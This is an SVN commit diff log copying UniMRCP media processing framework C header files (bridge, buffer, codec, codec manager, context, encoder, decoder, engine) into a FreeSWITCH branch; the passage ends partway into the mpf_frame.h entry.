Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_bridge.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/include/mpf_bridge.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_bridge.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_bridge.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,48 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MPF_BRIDGE_H__
+#define __MPF_BRIDGE_H__
+
+/**
+ * @file mpf_bridge.h
+ * @brief MPF Stream Bridge
+ */ 
+
+#include "mpf_object.h"
+
+APT_BEGIN_EXTERN_C
+
+/**
+ * Create bridge of audio streams.
+ * @param source the source audio stream
+ * @param sink the sink audio stream
+ * @param pool the pool to allocate memory from
+ */
+MPF_DECLARE(mpf_object_t*) mpf_bridge_create(mpf_audio_stream_t *source, mpf_audio_stream_t *sink, apr_pool_t *pool);
+
+/**
+ * Create bridge of audio streams with the same codec descriptor.
+ * @param source the source audio stream
+ * @param sink the sink audio stream
+ * @param pool the pool to allocate memory from
+ */
+MPF_DECLARE(mpf_object_t*) mpf_null_bridge_create(mpf_audio_stream_t *source, mpf_audio_stream_t *sink, apr_pool_t *pool);
+
+
+APT_END_EXTERN_C
+
+#endif /*__MPF_BRIDGE_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_buffer.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_buffer.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/include/mpf_buffer.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_buffer.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_buffer.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,56 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MPF_BUFFER_H__
+#define __MPF_BUFFER_H__
+
+/**
+ * @file mpf_buffer.h
+ * @brief Buffer of Media Chunks
+ */ 
+
+#include "mpf_frame.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Opaque media buffer declaration */
+typedef struct mpf_buffer_t mpf_buffer_t;
+
+
+/** Create buffer */
+mpf_buffer_t* mpf_buffer_create(apr_pool_t *pool);
+
+/** Destroy buffer */
+void mpf_buffer_destroy(mpf_buffer_t *buffer);
+
+/** Restart buffer */
+apt_bool_t mpf_buffer_restart(mpf_buffer_t *buffer);
+
+/** Write audio chunk to buffer */
+apt_bool_t mpf_buffer_audio_write(mpf_buffer_t *buffer, void *data, apr_size_t size);
+
+/** Write event to buffer */
+apt_bool_t mpf_buffer_event_write(mpf_buffer_t *buffer, mpf_frame_type_e event_type);
+
+/** Read media frame from buffer */
+apt_bool_t mpf_buffer_frame_read(mpf_buffer_t *buffer, mpf_frame_t *media_frame);
+
+/** Get size of buffer **/
+apr_size_t mpf_buffer_get_size(mpf_buffer_t *buffer);
+
+APT_END_EXTERN_C
+
+#endif /*__MPF_BUFFER_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_codec.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_codec.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/include/mpf_codec.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_codec.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_codec.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,169 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MPF_CODEC_H__
+#define __MPF_CODEC_H__
+
+/**
+ * @file mpf_codec.h
+ * @brief MPF Codec
+ */ 
+
+#include "mpf_codec_descriptor.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Codec virtual table declaration */
+typedef struct mpf_codec_vtable_t mpf_codec_vtable_t;
+/** Codec declaration*/
+typedef struct mpf_codec_t mpf_codec_t;
+
+/** Codec */
+struct mpf_codec_t {
+	/** Codec manipulators (encode, decode, dissect) */
+	const mpf_codec_vtable_t     *vtable;
+	/** Codec attributes (capabilities) */
+	const mpf_codec_attribs_t    *attribs;
+	/** Optional static codec descriptor (pt < 96) */
+	const mpf_codec_descriptor_t *static_descriptor;
+	
+	/** Negotiated codec descriptor */
+	mpf_codec_descriptor_t       *descriptor;
+};
+
+/** Table of codec virtual methods */
+struct mpf_codec_vtable_t {
+	/** Virtual open method */
+	apt_bool_t (*open)(mpf_codec_t *codec);
+	/** Virtual close method */
+	apt_bool_t (*close)(mpf_codec_t *codec);
+
+	/** Virtual encode method */
+	apt_bool_t (*encode)(mpf_codec_t *codec, const mpf_codec_frame_t *frame_in, mpf_codec_frame_t *frame_out);
+	/** Virtual decode method */
+	apt_bool_t (*decode)(mpf_codec_t *codec, const mpf_codec_frame_t *frame_in, mpf_codec_frame_t *frame_out);
+
+	/** Virtual dissect method */
+	apt_bool_t (*dissect)(mpf_codec_t *codec, void **buffer, apr_size_t *size, mpf_codec_frame_t *frame);
+};
+
+/**
+ * Create codec.
+ * @param vtable the table of virtual mthods
+ * @param attribs the codec attributes
+ * @param descriptor the codec descriptor
+ * @param pool the pool to allocate memory from
+ */
+static APR_INLINE mpf_codec_t* mpf_codec_create(
+									const mpf_codec_vtable_t *vtable, 
+									const mpf_codec_attribs_t *attribs, 
+									const mpf_codec_descriptor_t *descriptor, 
+									apr_pool_t *pool)
+{
+	mpf_codec_t *codec = (mpf_codec_t*)apr_palloc(pool,sizeof(mpf_codec_t));
+	codec->vtable = vtable;
+	codec->attribs = attribs;
+	codec->static_descriptor = descriptor;
+	codec->descriptor = NULL;
+	return codec;
+}
+
+/**
+ * Clone codec.
+ * @param src_codec the source (original) codec to clone
+ * @param pool the pool to allocate memory from
+ */
+static APR_INLINE mpf_codec_t* mpf_codec_clone(mpf_codec_t *src_codec, apr_pool_t *pool)
+{
+	mpf_codec_t *codec = (mpf_codec_t*)apr_palloc(pool,sizeof(mpf_codec_t));
+	codec->vtable = src_codec->vtable;
+	codec->attribs = src_codec->attribs;
+	codec->static_descriptor = src_codec->static_descriptor;
+	codec->descriptor = src_codec->descriptor;
+	return codec;
+}
+
+/** Open codec */
+static APR_INLINE apt_bool_t mpf_codec_open(mpf_codec_t *codec)
+{
+	apt_bool_t rv = TRUE;
+	if(codec->descriptor) {
+		if(codec->vtable->open) {
+			rv = codec->vtable->open(codec);
+		}
+	}
+	else {
+		rv = FALSE;
+	}
+	return rv;
+}
+
+/** Close codec */
+static APR_INLINE apt_bool_t mpf_codec_close(mpf_codec_t *codec)
+{
+	apt_bool_t rv = TRUE;
+	if(codec->vtable->close) {
+		rv = codec->vtable->close(codec);
+	}
+	return rv;
+}
+
+/** Encode codec frame */
+static APR_INLINE apt_bool_t mpf_codec_encode(mpf_codec_t *codec, const mpf_codec_frame_t *frame_in, mpf_codec_frame_t *frame_out)
+{
+	apt_bool_t rv = TRUE;
+	if(codec->vtable->encode) {
+		rv = codec->vtable->encode(codec,frame_in,frame_out);
+	}
+	return rv;
+}
+
+/** Decode codec frame */
+static APR_INLINE apt_bool_t mpf_codec_decode(mpf_codec_t *codec, const mpf_codec_frame_t *frame_in, mpf_codec_frame_t *frame_out)
+{
+	apt_bool_t rv = TRUE;
+	if(codec->vtable->decode) {
+		rv = codec->vtable->decode(codec,frame_in,frame_out);
+	}
+	return rv;
+}
+
+/** Dissect codec frame (navigate through codec frames in a buffer, which may contain multiple frames) */
+static APR_INLINE apt_bool_t mpf_codec_dissect(mpf_codec_t *codec, void **buffer, apr_size_t *size, mpf_codec_frame_t *frame)
+{
+	apt_bool_t rv = TRUE;
+	if(codec->vtable->dissect) {
+		/* custom dissector for codecs like G.729, G.723 */
+		rv = codec->vtable->dissect(codec,buffer,size,frame);
+	}
+	else {
+		/* default dissector */
+		if(*size >= frame->size && frame->size) {
+			memcpy(frame->buffer,*buffer,frame->size);
+			
+			*buffer = (apr_byte_t*)*buffer + frame->size;
+			*size = *size - frame->size;
+		}
+		else {
+			rv = FALSE;
+		}
+	}
+	return rv;
+}
+
+APT_END_EXTERN_C
+
+#endif /*__MPF_CODEC_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_codec_descriptor.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_codec_descriptor.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/include/mpf_codec_descriptor.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_codec_descriptor.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_codec_descriptor.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,182 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MPF_CODEC_DESCRIPTOR_H__
+#define __MPF_CODEC_DESCRIPTOR_H__
+
+/**
+ * @file mpf_codec_descriptor.h
+ * @brief MPF Codec Descriptor
+ */ 
+
+#include <apr_tables.h>
+#include "apt_string.h"
+#include "mpf.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Codec frame time base in msec */
+#define CODEC_FRAME_TIME_BASE 10
+/** Bytes per sample for linear pcm */
+#define BYTES_PER_SAMPLE 2
+/** Bits per sample for linear pcm */
+#define BITS_PER_SAMPLE 16
+
+/** Supported sampling rates */
+typedef enum {
+	MPF_SAMPLE_RATE_NONE  = 0x00,
+	MPF_SAMPLE_RATE_8000  = 0x01,
+	MPF_SAMPLE_RATE_16000 = 0x02,
+	MPF_SAMPLE_RATE_32000 = 0x04,
+	MPF_SAMPLE_RATE_48000 = 0x08
+} mpf_sample_rates_e;
+
+/** Codec descriptor declaration */
+typedef struct mpf_codec_descriptor_t mpf_codec_descriptor_t;
+/** Codec list declaration */
+typedef struct mpf_codec_list_t mpf_codec_list_t;
+/** Codec frame declaration */
+typedef struct mpf_codec_frame_t mpf_codec_frame_t;
+/** Codec attributes declaration */
+typedef struct mpf_codec_attribs_t mpf_codec_attribs_t;
+
+
+/** Codec descriptor */
+struct mpf_codec_descriptor_t {
+	/** Payload type used in RTP packet */
+	apr_byte_t   payload_type;
+	/** Codec name */
+	apt_str_t    name;
+	/** Sampling rate */
+	apr_uint16_t sampling_rate;
+	/** Channel count */
+	apr_byte_t   channel_count;
+	/** Codec dependent additional format */
+	const char  *format;
+	/**  Enabled/disabled state */
+	apt_bool_t   enabled;
+};
+
+/** List of codec descriptors */
+struct mpf_codec_list_t {
+	/** Dynamic array of mpf_codec_descriptor_t */
+	apr_array_header_t     *descriptor_arr;
+	/** Preffered codec descriptor */
+	mpf_codec_descriptor_t *preffered;
+};
+
+/** Codec frame */
+struct mpf_codec_frame_t {
+	/** Raw buffer, which may contain encoded or decoded data */
+	void      *buffer;
+	/** Buffer size */
+	apr_size_t size;
+};
+
+/** Codec attributes */
+struct mpf_codec_attribs_t {
+	/** Codec name */
+	apt_str_t  name;
+	/** Bits per sample */
+	apr_byte_t bits_per_samples;
+	/** Supported sampling rates (mpf_sample_rates_e) */
+	int        sample_rates;
+};
+
+
+/** Initialize codec descriptor */
+static APR_INLINE void mpf_codec_descriptor_init(mpf_codec_descriptor_t *descriptor)
+{
+	descriptor->payload_type = 0;
+	apt_string_reset(&descriptor->name);
+	descriptor->sampling_rate = 0;
+	descriptor->channel_count = 0;
+	descriptor->format = NULL;
+	descriptor->enabled = TRUE;
+}
+
+/** Calculate encoded frame size in bytes */
+static APR_INLINE apr_size_t mpf_codec_frame_size_calculate(const mpf_codec_descriptor_t *descriptor, const mpf_codec_attribs_t *attribs)
+{
+	return descriptor->channel_count * attribs->bits_per_samples * CODEC_FRAME_TIME_BASE * 
+			descriptor->sampling_rate / 1000 / 8; /* 1000 - msec per sec, 8 - bits per byte */
+}
+
+/** Calculate samples of the frame (ts) */
+static APR_INLINE apr_size_t mpf_codec_frame_samples_calculate(const mpf_codec_descriptor_t *descriptor)
+{
+	return descriptor->channel_count * CODEC_FRAME_TIME_BASE * descriptor->sampling_rate / 1000;
+}
+
+/** Calculate linear frame size in bytes */
+static APR_INLINE apr_size_t mpf_codec_linear_frame_size_calculate(apr_uint16_t sampling_rate, apr_byte_t channel_count)
+{
+	return channel_count * BYTES_PER_SAMPLE * CODEC_FRAME_TIME_BASE * sampling_rate / 1000;
+}
+
+/** Reset list of codec descriptors */
+static APR_INLINE void mpf_codec_list_reset(mpf_codec_list_t *codec_list)
+{
+	codec_list->descriptor_arr = NULL;
+	codec_list->preffered = NULL;
+}
+
+/** Initialize list of codec descriptors */
+static APR_INLINE void mpf_codec_list_init(mpf_codec_list_t *codec_list, apr_size_t initial_count, apr_pool_t *pool)
+{
+	codec_list->descriptor_arr = apr_array_make(pool,(int)initial_count, sizeof(mpf_codec_descriptor_t));
+}
+
+/** Copy list of codec descriptors */
+static APR_INLINE void mpf_codec_list_copy(mpf_codec_list_t *codec_list, const mpf_codec_list_t *src_codec_list, apr_pool_t *pool)
+{
+	codec_list->descriptor_arr = apr_array_copy(pool,src_codec_list->descriptor_arr);
+}
+
+/** Increment number of codec descriptors in the list and return the descriptor to fill */
+static APR_INLINE mpf_codec_descriptor_t* mpf_codec_list_add(mpf_codec_list_t *codec_list)
+{
+	mpf_codec_descriptor_t* descriptor = (mpf_codec_descriptor_t*)apr_array_push(codec_list->descriptor_arr);
+	mpf_codec_descriptor_init(descriptor);
+	return descriptor;
+}
+
+/** Determine if codec list is empty */
+static APR_INLINE apt_bool_t mpf_codec_list_is_empty(const mpf_codec_list_t *codec_list)
+{
+	return apr_is_empty_array(codec_list->descriptor_arr);
+}
+
+/** Get codec descriptor by index */
+static APR_INLINE mpf_codec_descriptor_t* mpf_codec_get(const mpf_codec_list_t *codec_list, apr_size_t id)
+{
+	mpf_codec_descriptor_t *descriptor;
+	if(id >= (apr_size_t)codec_list->descriptor_arr->nelts) {
+		return NULL;
+	}
+	descriptor = (mpf_codec_descriptor_t*)codec_list->descriptor_arr->elts;
+	return descriptor + id;
+}
+
+/** Match two codec descriptors */
+MPF_DECLARE(apt_bool_t) mpf_codec_descriptor_match(const mpf_codec_descriptor_t *descriptor1, const mpf_codec_descriptor_t *descriptor2);
+/** Intersect two codec lists */
+MPF_DECLARE(apt_bool_t) mpf_codec_list_intersect(mpf_codec_list_t *codec_list1, mpf_codec_list_t *codec_list2);
+
+
+APT_END_EXTERN_C
+
+#endif /*__MPF_CODEC_DESCRIPTOR_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_codec_manager.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_codec_manager.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/include/mpf_codec_manager.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_codec_manager.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_codec_manager.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,56 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MPF_CODEC_MANAGER_H__
+#define __MPF_CODEC_MANAGER_H__
+
+/**
+ * @file mpf_codec_manager.h
+ * @brief MPF Codec Manager
+ */ 
+
+#include "mpf_types.h"
+#include "mpf_codec.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Create codec manager */
+MPF_DECLARE(mpf_codec_manager_t*) mpf_codec_manager_create(apr_size_t codec_count, apr_pool_t *pool);
+
+/** Destroy codec manager */
+MPF_DECLARE(void) mpf_codec_manager_destroy(mpf_codec_manager_t *codec_manager);
+
+/** Register codec in codec manager */
+MPF_DECLARE(apt_bool_t) mpf_codec_manager_codec_register(mpf_codec_manager_t *codec_manager, mpf_codec_t *codec);
+
+/** Get (allocate) codec by codec descriptor */
+MPF_DECLARE(mpf_codec_t*) mpf_codec_manager_codec_get(const mpf_codec_manager_t *codec_manager, mpf_codec_descriptor_t *descriptor, apr_pool_t *pool);
+
+/** Get (allocate) default codec */
+MPF_DECLARE(mpf_codec_t*) mpf_codec_manager_default_codec_get(const mpf_codec_manager_t *codec_manager, apr_pool_t *pool);
+
+/** Get (allocate) list of available codecs */
+MPF_DECLARE(apt_bool_t) mpf_codec_manager_codec_list_get(const mpf_codec_manager_t *codec_manager, mpf_codec_list_t *codec_list, apr_pool_t *pool);
+
+/** Load (allocate) list of codecs  */
+MPF_DECLARE(apt_bool_t) mpf_codec_manager_codec_list_load(const mpf_codec_manager_t *codec_manager, mpf_codec_list_t *codec_list, const char *str, apr_pool_t *pool);
+
+/** Find codec by name  */
+MPF_DECLARE(const mpf_codec_t*) mpf_codec_manager_codec_find(const mpf_codec_manager_t *codec_manager, const apt_str_t *codec_name);
+
+APT_END_EXTERN_C
+
+#endif /*__MPF_CODEC_MANAGER_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_context.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_context.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/include/mpf_context.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_context.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_context.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,88 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MPF_CONTEXT_H__
+#define __MPF_CONTEXT_H__
+
+/**
+ * @file mpf_context.h
+ * @brief MPF Context
+ */ 
+
+#include "mpf_object.h"
+#include "apt_obj_list.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Definition of table item used in context */
+typedef void* table_item_t;
+
+/** Media processing context */
+struct mpf_context_t {
+    /** Pool to allocate memory from */
+	apr_pool_t        *pool;
+    /** External object */
+	void              *obj;
+    /** Set when context is addded to the list to ensure quick find on delete */
+	apt_list_elem_t   *elem;
+
+	/** Max number of terminations */
+	apr_size_t          max_termination_count;
+	/** Current number of terminations */
+	apr_size_t          termination_count;
+	/** Table, which holds terminations and topology */
+	table_item_t      **table;
+};
+
+
+/**
+ * Add termination to context.
+ * @param context the context to add termination to
+ * @param termination the termination to add
+ */
+MPF_DECLARE(apt_bool_t) mpf_context_termination_add(mpf_context_t *context, mpf_termination_t *termination);
+
+/**
+ * Subtract termination from context.
+ * @param context the context to subtract termination from
+ * @param termination the termination to subtract
+ */
+MPF_DECLARE(apt_bool_t) mpf_context_termination_subtract(mpf_context_t *context, mpf_termination_t *termination);
+
+/**
+ * Apply topology.
+ * @param context the context which holds the termination
+ * @param termination the termination to apply toplogy for
+ */
+MPF_DECLARE(apt_bool_t) mpf_context_topology_apply(mpf_context_t *context, mpf_termination_t *termination);
+
+/**
+ * Destroy topology.
+ * @param context the context which holds the termination
+ * @param termination the termination to destroy toplogy for
+ */
+MPF_DECLARE(apt_bool_t) mpf_context_topology_destroy(mpf_context_t *context, mpf_termination_t *termination);
+
+/**
+ * Process context.
+ * @param context the context
+ */
+MPF_DECLARE(apt_bool_t) mpf_context_process(mpf_context_t *context);
+
+
+APT_END_EXTERN_C
+
+#endif /*__MPF_CONTEXT_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_decoder.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_decoder.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/include/mpf_decoder.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_decoder.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_decoder.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,39 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MPF_DECODER_H__
+#define __MPF_DECODER_H__
+
+/**
+ * @file mpf_decoder.h
+ * @brief MPF Stream Decoder
+ */ 
+
+#include "mpf_stream.h"
+
+APT_BEGIN_EXTERN_C
+
+/**
+ * Create audio stream decoder.
+ * @param source the source to get encoded stream from
+ * @param pool the pool to allocate memory from
+ */
+MPF_DECLARE(mpf_audio_stream_t*) mpf_decoder_create(mpf_audio_stream_t *source, apr_pool_t *pool);
+
+
+APT_END_EXTERN_C
+
+#endif /*__MPF_ENCODER_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_encoder.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_encoder.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/include/mpf_encoder.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_encoder.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_encoder.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,39 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MPF_ENCODER_H__
+#define __MPF_ENCODER_H__
+
+/**
+ * @file mpf_encoder.h
+ * @brief MPF Stream Encoder
+ */ 
+
+#include "mpf_stream.h"
+
+APT_BEGIN_EXTERN_C
+
+/**
+ * Create audio stream encoder.
+ * @param sink the sink to write encoded stream to
+ * @param pool the pool to allocate memory from
+ */
+MPF_DECLARE(mpf_audio_stream_t*) mpf_encoder_create(mpf_audio_stream_t *sink, apr_pool_t *pool);
+
+
+APT_END_EXTERN_C
+
+#endif /*__MPF_ENCODER_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_engine.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_engine.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/include/mpf_engine.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_engine.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_engine.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,65 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MPF_ENGINE_H__
+#define __MPF_ENGINE_H__
+
+/**
+ * @file mpf_engine.h
+ * @brief Media Processing Framework Engine
+ */ 
+
+#include "apt_task.h"
+#include "mpf_message.h"
+
+APT_BEGIN_EXTERN_C
+
+/**
+ * Create MPF engine.
+ * @param pool the pool to allocate memory from
+ */
+MPF_DECLARE(mpf_engine_t*) mpf_engine_create(apr_pool_t *pool);
+
+/**
+ * Create MPF codec manager.
+ * @param pool the pool to allocate memory from
+ */
+MPF_DECLARE(mpf_codec_manager_t*) mpf_engine_codec_manager_create(apr_pool_t *pool);
+
+/**
+ * Register MPF codec manager.
+ * @param engine the engine to register codec manager for
+ * @param codec_manager the codec manager to register
+ */
+MPF_DECLARE(apt_bool_t) mpf_engine_codec_manager_register(mpf_engine_t *engine, const mpf_codec_manager_t *codec_manager);
+
+/**
+ * Get task.
+ * @param engine the engine to get task from
+ */
+MPF_DECLARE(apt_task_t*) mpf_task_get(mpf_engine_t *engine);
+
+/**
+ * Set task msg type to send responses and events with.
+ * @param engine the engine to set task msg type for
+ * @param type the type to set
+ */
+MPF_DECLARE(void) mpf_engine_task_msg_type_set(mpf_engine_t *engine, apt_task_msg_type_e type);
+
+
+APT_END_EXTERN_C
+
+#endif /*__MPF_ENGINE_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_file_termination_factory.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_file_termination_factory.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/include/mpf_file_termination_factory.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_file_termination_factory.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_file_termination_factory.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,37 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MPF_FILE_TERMINATION_FACTORY_H__
+#define __MPF_FILE_TERMINATION_FACTORY_H__
+
+/**
+ * @file mpf_file_termination_factory.h
+ * @brief MPF File Termination Factory
+ */ 
+
+#include "mpf_types.h"
+
+APT_BEGIN_EXTERN_C
+
+/**
+ * Create file termination factory.
+ */
+MPF_DECLARE(mpf_termination_factory_t*) mpf_file_termination_factory_create(apr_pool_t *pool);
+
+
+APT_END_EXTERN_C
+
+#endif /*__MPF_RTP_TERMINATION_FACTORY_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_frame.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_frame.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mpf/include/mpf_frame.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mpf/include/mpf_frame.h	                        (rev 0)
